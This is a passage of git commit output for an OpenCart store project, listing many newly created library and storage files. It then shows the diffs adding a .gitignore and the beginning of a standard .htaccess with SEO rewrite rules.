create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/SafeObject.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/SafeParam.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/ScriptRequired.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/TargetBlank.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/TargetNoopener.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/TargetNoreferrer.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/Textarea.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTypes.php
create mode 100644 public/system/helper/HTMLPurifier/AttrValidator.php
create mode 100644 public/system/helper/HTMLPurifier/Bootstrap.php
create mode 100644 public/system/helper/HTMLPurifier/CSSDefinition.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef/Chameleon.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef/Custom.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef/Empty.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef/List.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef/Optional.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef/Required.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef/StrictBlockquote.php
create mode 100644 public/system/helper/HTMLPurifier/ChildDef/Table.php
create mode 100644 public/system/helper/HTMLPurifier/Config.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/Builder/Xml.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/Exception.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/Interchange.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/Interchange/Directive.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/Interchange/Id.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/InterchangeBuilder.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/Validator.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/ValidatorAtom.php
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema.ser
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.ID.HTML5.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.Predicate.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.AllowDuplicates.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyRemoveScript.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.AllowParseManyTags.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.Language.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.LegacyEntityDecoder.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Forms.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoopener.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoreferrer.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.Base.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.Host.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt
create mode 100644 public/system/helper/HTMLPurifier/ConfigSchema/schema/info.ini
create mode 100644 public/system/helper/HTMLPurifier/ContentSets.php
create mode 100644 public/system/helper/HTMLPurifier/Context.php
create mode 100644 public/system/helper/HTMLPurifier/Definition.php
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache.php
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache/Decorator.php
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache/Decorator/Memory.php
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache/Decorator/Template.php.in
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache/Null.php
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache/Serializer.php
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache/Serializer/HTML/4.13.0,f474c0a322b208e83d22d3aef33ecb184bc71d31,1.ser
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCache/Serializer/README
create mode 100644 public/system/helper/HTMLPurifier/DefinitionCacheFactory.php
create mode 100644 public/system/helper/HTMLPurifier/Doctype.php
create mode 100644 public/system/helper/HTMLPurifier/DoctypeRegistry.php
create mode 100644 public/system/helper/HTMLPurifier/ElementDef.php
create mode 100644 public/system/helper/HTMLPurifier/Encoder.php
create mode 100644 public/system/helper/HTMLPurifier/EntityLookup.php
create mode 100644 public/system/helper/HTMLPurifier/EntityLookup/entities.ser
create mode 100644 public/system/helper/HTMLPurifier/EntityParser.php
create mode 100644 public/system/helper/HTMLPurifier/ErrorCollector.php
create mode 100644 public/system/helper/HTMLPurifier/ErrorStruct.php
create mode 100644 public/system/helper/HTMLPurifier/Exception.php
create mode 100644 public/system/helper/HTMLPurifier/Filter.php
create mode 100644 public/system/helper/HTMLPurifier/Filter/ExtractStyleBlocks.php
create mode 100644 public/system/helper/HTMLPurifier/Filter/YouTube.php
create mode 100644 public/system/helper/HTMLPurifier/Generator.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLDefinition.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Bdo.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/CommonAttributes.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Edit.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Forms.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Hypertext.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Iframe.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Image.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Legacy.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/List.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Name.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Nofollow.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Object.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Presentation.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Proprietary.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Ruby.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/SafeEmbed.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/SafeObject.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/SafeScripting.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Scripting.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/StyleAttribute.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Tables.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Target.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/TargetBlank.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/TargetNoopener.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/TargetNoreferrer.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Text.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Tidy.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Tidy/Name.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Tidy/Proprietary.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Tidy/Strict.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Tidy/Transitional.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Tidy/XHTML.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModule/XMLCommonAttributes.php
create mode 100644 public/system/helper/HTMLPurifier/HTMLModuleManager.php
create mode 100644 public/system/helper/HTMLPurifier/IDAccumulator.php
create mode 100644 public/system/helper/HTMLPurifier/Injector.php
create mode 100644 public/system/helper/HTMLPurifier/Injector/AutoParagraph.php
create mode 100644 public/system/helper/HTMLPurifier/Injector/DisplayLinkURI.php
create mode 100644 public/system/helper/HTMLPurifier/Injector/Linkify.php
create mode 100644 public/system/helper/HTMLPurifier/Injector/PurifierLinkify.php
create mode 100644 public/system/helper/HTMLPurifier/Injector/RemoveEmpty.php
create mode 100644 public/system/helper/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php
create mode 100644 public/system/helper/HTMLPurifier/Injector/SafeObject.php
create mode 100644 public/system/helper/HTMLPurifier/Language.php
create mode 100644 public/system/helper/HTMLPurifier/Language/messages/en.php
create mode 100644 public/system/helper/HTMLPurifier/LanguageFactory.php
create mode 100644 public/system/helper/HTMLPurifier/Length.php
create mode 100644 public/system/helper/HTMLPurifier/Lexer.php
create mode 100644 public/system/helper/HTMLPurifier/Lexer/DOMLex.php
create mode 100644 public/system/helper/HTMLPurifier/Lexer/DirectLex.php
create mode 100644 public/system/helper/HTMLPurifier/Lexer/PH5P.php
create mode 100644 public/system/helper/HTMLPurifier/Node.php
create mode 100644 public/system/helper/HTMLPurifier/Node/Comment.php
create mode 100644 public/system/helper/HTMLPurifier/Node/Element.php
create mode 100644 public/system/helper/HTMLPurifier/Node/Text.php
create mode 100644 public/system/helper/HTMLPurifier/PercentEncoder.php
create mode 100644 public/system/helper/HTMLPurifier/Printer.php
create mode 100644 public/system/helper/HTMLPurifier/Printer/CSSDefinition.php
create mode 100644 public/system/helper/HTMLPurifier/Printer/ConfigForm.css
create mode 100644 public/system/helper/HTMLPurifier/Printer/ConfigForm.js
create mode 100644 public/system/helper/HTMLPurifier/Printer/ConfigForm.php
create mode 100644 public/system/helper/HTMLPurifier/Printer/HTMLDefinition.php
create mode 100644 public/system/helper/HTMLPurifier/PropertyList.php
create mode 100644 public/system/helper/HTMLPurifier/PropertyListIterator.php
create mode 100644 public/system/helper/HTMLPurifier/Queue.php
create mode 100644 public/system/helper/HTMLPurifier/Strategy.php
create mode 100644 public/system/helper/HTMLPurifier/Strategy/Composite.php
create mode 100644 public/system/helper/HTMLPurifier/Strategy/Core.php
create mode 100644 public/system/helper/HTMLPurifier/Strategy/FixNesting.php
create mode 100644 public/system/helper/HTMLPurifier/Strategy/MakeWellFormed.php
create mode 100644 public/system/helper/HTMLPurifier/Strategy/RemoveForeignElements.php
create mode 100644 public/system/helper/HTMLPurifier/Strategy/ValidateAttributes.php
create mode 100644 public/system/helper/HTMLPurifier/StringHash.php
create mode 100644 public/system/helper/HTMLPurifier/StringHashParser.php
create mode 100644 public/system/helper/HTMLPurifier/TagTransform.php
create mode 100644 public/system/helper/HTMLPurifier/TagTransform/Font.php
create mode 100644 public/system/helper/HTMLPurifier/TagTransform/Simple.php
create mode 100644 public/system/helper/HTMLPurifier/Token.php
create mode 100644 public/system/helper/HTMLPurifier/Token/Comment.php
create mode 100644 public/system/helper/HTMLPurifier/Token/Empty.php
create mode 100644 public/system/helper/HTMLPurifier/Token/End.php
create mode 100644 public/system/helper/HTMLPurifier/Token/Start.php
create mode 100644 public/system/helper/HTMLPurifier/Token/Tag.php
create mode 100644 public/system/helper/HTMLPurifier/Token/Text.php
create mode 100644 public/system/helper/HTMLPurifier/TokenFactory.php
create mode 100644 public/system/helper/HTMLPurifier/URI.php
create mode 100644 public/system/helper/HTMLPurifier/URIDefinition.php
create mode 100644 public/system/helper/HTMLPurifier/URIFilter.php
create mode 100644 public/system/helper/HTMLPurifier/URIFilter/DisableExternal.php
create mode 100644 public/system/helper/HTMLPurifier/URIFilter/DisableExternalResources.php
create mode 100644 public/system/helper/HTMLPurifier/URIFilter/DisableResources.php
create mode 100644 public/system/helper/HTMLPurifier/URIFilter/HostBlacklist.php
create mode 100644 public/system/helper/HTMLPurifier/URIFilter/MakeAbsolute.php
create mode 100644 public/system/helper/HTMLPurifier/URIFilter/Munge.php
create mode 100644 public/system/helper/HTMLPurifier/URIFilter/SafeIframe.php
create mode 100644 public/system/helper/HTMLPurifier/URIParser.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/data.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/file.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/ftp.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/http.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/https.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/mailto.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/news.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/nntp.php
create mode 100644 public/system/helper/HTMLPurifier/URIScheme/tel.php
create mode 100644 public/system/helper/HTMLPurifier/URISchemeRegistry.php
create mode 100644 public/system/helper/HTMLPurifier/UnitConverter.php
create mode 100644 public/system/helper/HTMLPurifier/VarParser.php
create mode 100644 public/system/helper/HTMLPurifier/VarParser/Flexible.php
create mode 100644 public/system/helper/HTMLPurifier/VarParser/Native.php
create mode 100644 public/system/helper/HTMLPurifier/VarParserException.php
create mode 100644 public/system/helper/HTMLPurifier/Zipper.php
create mode 100644 public/system/helper/general.php
create mode 100644 public/system/helper/utf8.php
create mode 100644 public/system/library/cache.php
create mode 100644 public/system/library/cache/apc.php
create mode 100644 public/system/library/cache/file.php
create mode 100644 public/system/library/cache/mem.php
create mode 100644 public/system/library/cache/memcached.php
create mode 100644 public/system/library/cache/redis.php
create mode 100644 public/system/library/cart/cart.php
create mode 100644 public/system/library/cart/currency.php
create mode 100644 public/system/library/cart/customer.php
create mode 100644 public/system/library/cart/length.php
create mode 100644 public/system/library/cart/tax.php
create mode 100644 public/system/library/cart/user.php
create mode 100644 public/system/library/cart/weight.php
create mode 100644 public/system/library/config.php
create mode 100644 public/system/library/db.php
create mode 100644 public/system/library/db/mpdo.php
create mode 100644 public/system/library/db/mssql.php
create mode 100644 public/system/library/db/mysql.php
create mode 100644 public/system/library/db/mysqli.php
create mode 100644 public/system/library/db/pgsql.php
create mode 100644 public/system/library/document.php
create mode 100644 public/system/library/encryption.php
create mode 100644 public/system/library/export_import/composer.json
create mode 100644 public/system/library/export_import/composer.lock
create mode 100644 public/system/library/googleshopping/cron.php
create mode 100644 public/system/library/googleshopping/cron_functions.php
create mode 100644 public/system/library/googleshopping/exception/accessforbidden.php
create mode 100644 public/system/library/googleshopping/exception/connection.php
create mode 100644 public/system/library/googleshopping/googleshopping.php
create mode 100644 public/system/library/googleshopping/library.php
create mode 100644 public/system/library/googleshopping/log.php
create mode 100644 public/system/library/googleshopping/traits/libraryloader.php
create mode 100644 public/system/library/googleshopping/traits/storeloader.php
create mode 100644 public/system/library/image.php
create mode 100644 public/system/library/language.php
create mode 100644 public/system/library/log.php
create mode 100644 public/system/library/mail.php
create mode 100644 public/system/library/mail/mail.php
create mode 100644 public/system/library/mail/smtp.php
create mode 100644 public/system/library/pagination.php
create mode 100644 public/system/library/request.php
create mode 100644 public/system/library/response.php
create mode 100644 public/system/library/seopro.php
create mode 100644 public/system/library/session.php
create mode 100644 public/system/library/session/db.php
create mode 100644 public/system/library/session/file.php
create mode 100644 public/system/library/template.php
create mode 100644 public/system/library/template/template.php
create mode 100644 public/system/library/template/twig.php
create mode 100644 public/system/library/url.php
create mode 100644 public/system/modification.xml
create mode 100644 public/system/startup.php
create mode 100644 storage/cache/index.html
create mode 100644 storage/composer.json
create mode 100644 storage/composer.lock
create mode 100644 storage/download/index.html
create mode 100644 storage/logs/index.html
create mode 100644 storage/modification/index.html
create mode 100644 storage/session/index.html
create mode 100644 storage/upload/index.html
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..26d6e54
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,63 @@
+# Local environment and secrets
+.env
+.env.*
+!.env.example
+public/config.php
+public/admin/config.php
+
+# Composer dependencies
+vendor/
+**/vendor/
+
+# OpenCart runtime data
+storage/cache/*
+!storage/cache/index.html
+storage/logs/*
+!storage/logs/index.html
+storage/session/*
+!storage/session/index.html
+storage/modification/*
+!storage/modification/index.html
+storage/upload/*
+!storage/upload/index.html
+storage/download/*
+!storage/download/index.html
+
+# Generated image cache
+public/image/cache/*
+!public/image/cache/index.html
+
+# Logs and reports
+*.log
+*.log.*
+error.log
+errors.log
+public/errors.log
+public/image/*
+# Backups, database dumps, and archives
+*.bak
+*.backup
+*.old
+*.orig
+*.sql
+*.sql.gz
+*.tar
+*.tar.gz
+*.tgz
+*.zip
+
+# OS and editor files
+.DS_Store
+Thumbs.db
+desktop.ini
+.idea/
+.vscode/
+*.swp
+*.swo
+
+# Tooling caches
+.phpunit.result.cache
+.php-cs-fixer.cache
+.cache/
+.tmp/
+tmp/
diff --git a/public/.htaccess b/public/.htaccess
new file mode 100644
index 0000000..3f4e906
--- /dev/null
+++ b/public/.htaccess
@@ -0,0 +1,58 @@
+# 1.To use URL Alias you need to be running apache with mod_rewrite enabled.
+
+# 2. In your opencart directory rename htaccess.txt to .htaccess.
+
+# For any support issues please visit: http://www.opencart.com
+
+Options +FollowSymlinks
+
+# Prevent Directory listing
+Options -Indexes
+
+# Prevent Direct Access to files
+
+ Require all denied
+## For apache 2.2 and older, replace "Require all denied" with these two lines :
+# Order deny,allow
+# Deny from all
+
+
+# SEO URL Settings
+RewriteEngine On
+# If your opencart installation does not run on the main web folder make sure you folder it does run in ie. / becomes /shop/
+
+RewriteBase /
+RewriteCond %{QUERY_STRING} ^(.*)&?page=1$
+RewriteRule ^(.*)/?$ /$1?%1%2 [R=301,L] #remove page=1 from url
+RewriteRule ^sitemap.xml$ index.php?route=extension/feed/google_sitemap [L]
+RewriteRule ^googlebase.xml$ index.php?route=extension/feed/google_base [L]
+RewriteRule ^system/storage/(.*) index.php?route=error/not_found [L]
+RewriteCond %{REQUEST_FILENAME} !-f
